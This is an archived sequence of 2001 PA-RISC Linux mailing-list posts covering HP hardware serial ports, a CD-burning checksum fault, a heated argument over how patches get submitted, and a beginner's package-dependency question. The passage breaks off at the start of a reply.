X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Tue, 05 Jun 2001 14:34:47 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <200106052034.OAA20747@puffin.external.hp.com>
References: <20010605005205.B3234@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620186 20439 80.91.229.3 (22 Nov 2014 01:36:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 14:42:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12518482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 14:42:30 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA20747;
	Tue, 5 Jun 2001 14:34:47 -0600
In-Reply-To: Your message of "Tue, 05 Jun 2001 00:52:05 +0200."
             <20010605005205.B3234@solo.franken.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:11258

Thomas Bogendoerfer wrote:
> I don't think so, J282 doesn't even have PCI. Right now I can't boot it,
> because I've disassembled my computer room, but if memory serves right
> serial is attached to either wax or lasi.

I just checked. You are right. No PCI and both wax and lasi export
a serial interface. I thought all J-class had PCI but that is clearly wrong.
Early B/C-class don't have PCI either.

> 
> > for that...but I know it's not on the 0.9 ISOs. Booting from a lifimage
> > (newer kernel plus Dino patch) might work better.
> 
> even without having Dino ?

No. It won't work better afaik.
Anyone with a C160 is able to boot/install?

sorry,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 15:22:20 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <01060515450207.00472@wolf01.my.home>
References: <20010605202920.U7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620187 20442 80.91.229.3 (22 Nov 2014 01:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:27 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@parisc-linux.org,
	parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 14:45:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5F00A482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 14:45:46 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005299695@vopserver.pflash.com>;
 Tue, 5 Jun 2001 15:40:43 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11259

On Tue, 05 Jun 2001, Matthew Wilcox wrote:

> I've been working on this
> project for more than 2 years now, working for 3 different companies
> during that time. =20

I'll be glad to match my 4 decades of experience against your 2 years any=
time.
=20
> Not the way it works.=20
> Send patches now and they'll (probably) get integrated.

Perhaps that is not how it works in your world, but consider -

The only way to validate a change as a potential patch is:

1) start with a clean (error and warning free) build that
boots and runs on the machine of interest.

2) hack, change, modify, whatever

3) when done, make another clean build that boots and runs
on the machine of interest.

4) evaluate the effects of the change(s).

5) If successful - then you MIGHT have something worth
submitting as a POTENTIAL patch.

Exactly the same 5 steps your developers take before they
commit a change to CVS.

> So far i've heard nothing but talk from you. =20

That's right - until it is a clean build, boots and runs -
everything is talk and speculation.

>  Things will move on and you'll get left behind.

So what?

The only changes I make outside of the parisc specific
branch of the source tree are to bring the code in line
with 2.4.4 (stable).

The changes I make inside of the parisc specific branch
of the tree will be (someday) found by your own developers.

Just a matter of do you want to duplicate the time and=20
trouble of finding them yourself, or read about them in
the mail archives.

If you are serious about my suggestions being counter-productive,
I will gladly spend the time I am taking to write them for other purposes=
=2E

Mike
Mike




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 22:07:35 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20010605220735.V7349@parcelfarce.linux.theplanet.co.uk>
References: <20010605202920.U7349@parcelfarce.linux.theplanet.co.uk> <01060515450207.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620187 20454 80.91.229.3 (22 Nov 2014 01:36:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:27 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org, parisc-linux@thepuffingroup.com
To: "Michael S. Zick" <mszick@pflash.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:07:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83B1C482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 15:07:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 157O35-0004Rb-00; Tue, 05 Jun 2001 22:07:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060515450207.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 03:22:20PM -0500
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11260

On Tue, Jun 05, 2001 at 03:22:20PM -0500, Michael S. Zick wrote:
> The only way to validate a change as a potential patch is:
> 
> 1) start with a clean (error and warning free) build that
> boots and runs on the machine of interest.
> 
> 2) hack, change, modify, whatever
> 
> 3) when done, make another clean build that boots and runs
> on the machine of interest.
> 
> 4) evaluate the effects of the change(s).
> 
> 5) If successful - then you MIGHT have something worth
> submitting as a POTENTIAL patch.
> 
> Exactly the same 5 steps your developers take before they
> commit a change to CVS.

the people with CVS access are hardly `my' developers.  and the process
you describe is only one form of development.  it's not applicable in a lot
of cases.

> That's right - until it is a clean build, boots and runs -
> everything is talk and speculation.

No.  if you post a patch which moves things in the right direction,
that's more than talk.  it's something which can be tested.

> So what?
> 
> The only changes I make outside of the parisc specific
> branch of the source tree are to bring the code in line
> with 2.4.4 (stable).

erm... if you're doing that, I'll be very surprised if you build a
working system.  Changes are needed to the generic VM which need to be
forward-ported and changed in a few places.  This is work which I don't
feel capable of doing.

> The changes I make inside of the parisc specific branch
> of the tree will be (someday) found by your own developers.

That's great, I love people who do work, keep their changes secret and
then expect everyone else to find them because they're `obvious'.

> Just a matter of do you want to duplicate the time and 
> trouble of finding them yourself, or read about them in
> the mail archives.

I'd love you to post them.  I said so earlier.

> If you are serious about my suggestions being counter-productive,
> I will gladly spend the time I am taking to write them for other purposes.

If all you're going to do is patch your own tree and write snide flames
to this mailing list, then yes, I'd rather you worked on a different
project.  If you're going to work cooperatively, then please hang around.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 0.9ser can't install on D210
Date: Tue, 5 Jun 2001 23:04:50 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20010605230450.A2455@solo.franken.de>
References: <3B1CB312.1C9DBAB9@fonts.de> <20010605145731.A73568@chico.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620188 20464 80.91.229.3 (22 Nov 2014 01:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: jheumann@fonts.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:07:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B96974851
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 15:07:44 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA20929
	for <parisc-linux@puffin.external.hp.com>; Tue, 5 Jun 2001 14:59:57 -0600
Original-Received: (qmail 7619 invoked by uid 15267); 5 Jun 2001 21:07:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7584 invoked from network); 5 Jun 2001 21:07:09 -0000
Original-Received: from pd9051f1d.dip.t-dialin.net (HELO solo.franken.de) (217.5.31.29)
  by mailserv2.iuinc.com with SMTP; 5 Jun 2001 21:07:09 -0000
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id XAA03100;
	Tue, 5 Jun 2001 23:04:50 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010605145731.A73568@chico.franken.de>; from tsbogend@chico.franken.de on Tue, Jun 05, 2001 at 02:57:31PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11261

On Tue, Jun 05, 2001 at 02:57:31PM +0200, Thomas Bogendoerfer wrote:
> On Tue, Jun 05, 2001 at 12:23:14PM +0200, jheumann@fonts.de wrote:
> > Booting...
> > Boot IO Dependent Code (IODC) revision 1
> > 
> > IPL error: bad IPL checksum.
> > 
> > Error Reading IPL
> 
> did you use cdrecord -isosize to burn the CD ? I have the same problem and 
> that's the only option, which I probably haven't used, when burning the 
> 0.5 ISO. I'll try to burn a cd without using -isosize, when I get home
> this evening.

ok, without -isosize the CDs are working perfect. I've diffed the broken
CDs against the images and there are differences in the first sector.
I'm using cdrecord 1.8.1 just for the record.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Tue, 05 Jun 2001 14:59:42 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200106052059.OAA20922@puffin.external.hp.com>
References: <Pine.LNX.4.21.0106051051070.22868-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620188 20475 80.91.229.3 (22 Nov 2014 01:36:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:07:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5AAA4851
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Jun 2001 15:07:48 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA20922;
	Tue, 5 Jun 2001 14:59:42 -0600
In-Reply-To: Your message of "Tue, 05 Jun 2001 10:53:50 CDT."
             <Pine.LNX.4.21.0106051051070.22868-100000@oliver.internal.sjdjweis.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11262

djweis@sjdjweis.com wrote:
> 
> Can any of the HP people comment on where the second serial port on a D310
> lives?

	http://216.208.98.4/view.php3?type=machine&name=D310

Says one is on WAX and the other on LASI.
I can't say for sure which is first or second.
Based on console output, one should be able to determine
which is which by comparing the upper bits of the MMIO address
to the address of LASI and WAX.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Followup-To: gmane.linux.ports.hppa
Date: Wed, 6 Jun 2001 05:13:58 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20010606051356.L12793@neep.com.au>
References: <20010605202920.U7349@parcelfarce.linux.theplanet.co.uk> <01060515450207.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620189 20494 80.91.229.3 (22 Nov 2014 01:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:14:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 691C6482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 15:14:16 -0600 (MDT)
Original-Received: (qmail 11825 invoked by uid 666); 5 Jun 2001 21:14:09 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.174.89)
  by mail.iinet.net.au with SMTP; 5 Jun 2001 21:14:09 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA18867
	for parisc-linux@parisc-linux.org; Wed, 6 Jun 2001 05:14:01 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060515450207.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 03:22:20PM -0500
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11263

Michael S.Zick said:
> I'll be glad to match my 4 decades of experience against your 2 years
> anytime.

Willy didn't say anything about his experience, but the time that that
he has put into this particular project.  Perhaps you meant to say you'd
like to put your 40 years of experience together with his two years of
work in order to help the project?  Sadly, that's probably stretching
your words well beyond the "benefit of the doubt".  =(

> If you are serious about my suggestions being counter-productive, I
> will gladly spend the time I am taking to write them for other purposes.

I don't know - or honestly care - who you are or which horse you rode in
on.  You're the first person I've seen to bring this attitude in to this
project and in my position as list-lurker and linux-hppa fiddler I'd be
perfectly happy if you were the last.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 22:16:52 +0100 (BST)
Lines: 33
Approved: news@gmane.org
Message-ID: <E157OC4-0007PP-00@the-village.bc.nu>
References: <20010605220735.V7349@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620189 20506 80.91.229.3 (22 Nov 2014 01:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:29 +0000 (UTC)
Cc: mszick@pflash.com (Michael S. Zick),
	matthew@wil.cx (Matthew Wilcox), debian-hppa@lists.debian.org,
	parisc-linux@parisc-linux.org, parisc-linux@thepuffingroup.com
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:19:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51320482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 15:19:21 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 157OC4-0007PP-00; Tue, 05 Jun 2001 22:16:52 +0100
In-Reply-To: <20010605220735.V7349@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Jun 05, 2001 10:07:35 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11264

> On Tue, Jun 05, 2001 at 03:22:20PM -0500, Michael S. Zick wrote:
> > The only way to validate a change as a potential patch is:
> > 1) start with a clean (error and warning free) build that
> > boots and runs on the machine of interest.
> > 2) hack, change, modify, whatever
> > 3) when done, make another clean build that boots and runs
> > on the machine of interest.
> > 4) evaluate the effects of the change(s).
> > 5) If successful - then you MIGHT have something worth
> > submitting as a POTENTIAL patch.
> > Exactly the same 5 steps your developers take before they
> > commit a change to CVS.
> 
> the people with CVS access are hardly `my' developers.  and the process
> you describe is only one form of development.  it's not applicable in a lot
> of cases.

A lot of the Linux development occurs on much more of a 'directed chaos'
approach, and that's an approach gaining favour in software engineering 
circles too. If it looks roughly right you throw it in or run it past someone
with a good eye for code in that area and throw it in. If as is normally the
case the patch is fine it works very efficiently. When the patch turns out to
be wrong it is rare that there are multiple patches likely to cause the reported
symptoms.

Also you can run continual automated testing using tools like cerberus. Yes
my Software Engineering lecturer would never have approved - but it works.

Alan





From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@pflash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Date: Tue, 5 Jun 2001 16:18:05 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <01060516184408.00472@wolf01.my.home>
References: <20010606051356.L12793@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620189 20514 80.91.229.3 (22 Nov 2014 01:36:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:29 +0000 (UTC)
To: Andrew Shugg <andrew@neep.com.au>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:19:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from vopserver.pflash.com (mail.pflash.com [207.19.136.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCB32482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 15:19:28 -0600 (MDT)
Original-Received: from wolf01.my.home (ppp64.cc1.pflash.com [63.121.24.66]) by vopserver.pflash.com
 (Vircom SMTPRS 4.7.191) with SMTP id <B0005300092@vopserver.pflash.com>;
 Tue, 5 Jun 2001 16:14:26 -0500
X-Mailer: KMail [version 1.0.21]
Xref: news.gmane.org gmane.linux.ports.parisc:11265

Fine by me.=20
I don't have to be told to goa away more than twice.

Mike

On Tue, 05 Jun 2001, Andrew Shugg wrote:
> Michael S.Zick said:
> > I'll be glad to match my 4 decades of experience against your 2 years
> > anytime.
>=20
> Willy didn't say anything about his experience, but the time that that
> he has put into this particular project.  Perhaps you meant to say you'=
d
> like to put your 40 years of experience together with his two years of
> work in order to help the project?  Sadly, that's probably stretching
> your words well beyond the "benefit of the doubt".  =3D(
>=20
> > If you are serious about my suggestions being counter-productive, I
> > will gladly spend the time I am taking to write them for other purpos=
es.
>=20
> I don't know - or honestly care - who you are or which horse you rode i=
n
> on.  You're the first person I've seen to bring this attitude in to thi=
s
> project and in my position as list-lurker and linux-hppa fiddler I'd be
> perfectly happy if you were the last.
>=20
> Andrew.
>=20
> --
> Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com=
=2Eau/
>=20
> "Just remember, Mr Fawlty, there's always someone worse off than yourse=
lf."
> "Is there?  Well I'd like to meet him.  I could do with a good laugh."
>=20
>=20
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Version 0.9 of PA-RISC Linux Released
Followup-To: gmane.linux.ports.hppa
Date: Wed, 6 Jun 2001 05:36:12 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20010606053611.O12793@neep.com.au>
References: <20010606051356.L12793@neep.com.au> <01060516184408.00472@wolf01.my.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620190 20532 80.91.229.3 (22 Nov 2014 01:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  5 15:36:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 68B86482A
	for <parisc-linux@parisc-linux.org>; Tue,  5 Jun 2001 15:36:34 -0600 (MDT)
Original-Received: (qmail 27216 invoked by uid 666); 5 Jun 2001 21:36:16 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.174.89)
  by mail.iinet.net.au with SMTP; 5 Jun 2001 21:36:16 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id FAA19151
	for parisc-linux@parisc-linux.org; Wed, 6 Jun 2001 05:36:15 +0800
Mail-Followup-To: parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <01060516184408.00472@wolf01.my.home>; from mszick@pflash.com on Tue, Jun 05, 2001 at 04:18:05PM -0500
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11266

Michael S.Zick said:
> Fine by me. 
> I don't have to be told to goa away more than twice.
> 
> Mike

Ah, but no-one actually has told you to go away.  Look back on your four
decades of experience or your even longer life and reflect on all you've
learned in that time about how pride and professionalism are rarely seen
together.  (Again, pardon my presumption, but I assume you did learn!)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jay Konrad <jkonrad@fonts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing a C++ Compiler
Date: Wed, 06 Jun 2001 11:54:12 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <200106061156972.SM00210@bhopc40002>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416620190 20536 80.91.229.3 (22 Nov 2014 01:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 04:54:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.fonts.de (unknown [212.109.160.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48C48482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 04:54:49 -0600 (MDT)
Original-Received: from bhopc40002 [10.53.102.114] by mail.fonts.de
  (SMTPD32-6.06) id AC75C330120; Wed, 06 Jun 2001 11:56:53 +0100
X-Mailer: Opera 5.11 build 904
X-Priority: 3 (Normal)
Xref: news.gmane.org gmane.linux.ports.parisc:11267

Hi guys!

I have installed PA Linux 0.9 on my HP 712. Unfortunately, there is no telnet server. But I got the sources, so I would like to compile it. Unfortunately, gcc tells 
me on installation that it depends on glibc6. When I try to install glibc6, it tells me it needs libdb2. If I try to install libdb2, it tells me it needs glibc6. I am at my 
wits end at what to do. Anybody out there who can help a beginner??

Many thanks,

Jay







From - Thu Nov 08 21:17:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installing a C++ Compiler
Date: Wed, 6 Jun 2001 12:25:45 +0100
Lines: 54
Approved: news@gmane.org
Message-ID: <20010606122545.R25745@linuxcare.com>
References: <200106061156972.SM00210@bhopc40002>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620191 20540 80.91.229.3 (22 Nov 2014 01:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jay Konrad <jkonrad@fonts.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 05:29:22 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45736482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 05:29:22 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 5C14BB007; Wed,  6 Jun 2001 12:25:45 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <200106061156972.SM00210@bhopc40002>; from jkonrad@fonts.de on Wed, Jun 06, 2001 at 11:54:12AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11268

On Wed, Jun 06, 2001 at 11:54:12AM +0200, Jay Konrad wrote:
> Hi guys!
> 
> I have installed PA Linux 0.9 on my HP 712. Unfortunately, there is no telnet server. But I got the sources, so I would like to compile it. Unfortunately, gcc tells 
> me on installation that it depends on glibc6. When I try to install glibc6, it tells me it needs libdb2. If I try to install libdb2, it tells me it needs glibc6. I am at my 
> wits end at what to do. Anybody out there who can help a beginner??

telnetd exists in the debian archives.  If you have apt configured,
